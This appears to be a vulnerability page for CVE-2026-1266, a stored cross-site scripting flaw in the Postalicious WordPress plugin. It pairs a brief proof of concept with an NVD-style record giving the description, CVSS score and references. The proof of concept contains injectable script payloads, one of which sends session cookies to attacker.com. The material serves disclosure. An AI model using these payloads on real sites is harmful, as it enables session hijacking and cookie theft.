CVE-2026-1266

<!-- CVE-2026-1266 PoC - Stored XSS in Postalicious WordPress Plugin --> <!-- Login as Admin, navigate to Postalicious settings page --> <!-- Inject the following payload in any setting field --> <script>alert(document.cookie)</script> <!-- Or more sophisticated payload for session hijacking --> <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> <!-- HTTP Request captured when admin visits affected page --> <!-- GET /wp-admin/admin.php?page=postalicious-settings HTTP/1.1 --> <!-- Cookie: [admin session cookie will be sent to attacker] -->

{"cve": {"id": "CVE-2026-1266", "sourceIdentifier": "[email protected]", "published": "2026-01-24T09:15:54.177", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Postalicious plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 3.0.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}, {"lang": "es", "value": "El plugin Postalicious para WordPress es vulnerable a cross-site scripting almacenado a través de la configuración de administrador en todas las versiones hasta la 3.0.1, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto hace posible que atacantes autenticados, con permisos de nivel de administrador y superiores, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada. Esto solo afecta a instalaciones multisitio e instalaciones donde se ha deshabilitado unfiltered_html."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/postalicious/tags/3.0.1/wp-postalicious.php#L316", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/postalicious/tags/3.0.1/wp-postalicious.php#L533", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/postalicious/tags/3.0.1/wp-postalicious.php#L541", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/postalicious/tags/3.0.1/wp-postalicious.php#L548", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/postalicious/trunk/wp-postalicious.php#L316", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/postalicious/trunk/wp-postalicious.php#L533", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/postalicious/trunk/wp-postalicious.php#L541", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/postalicious/trunk/wp-postalicious.php#L548", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/512c9a2f-b023-4e28-8dd8-35795e68a8b3?source=cve", "source": "[email protected]"}]}}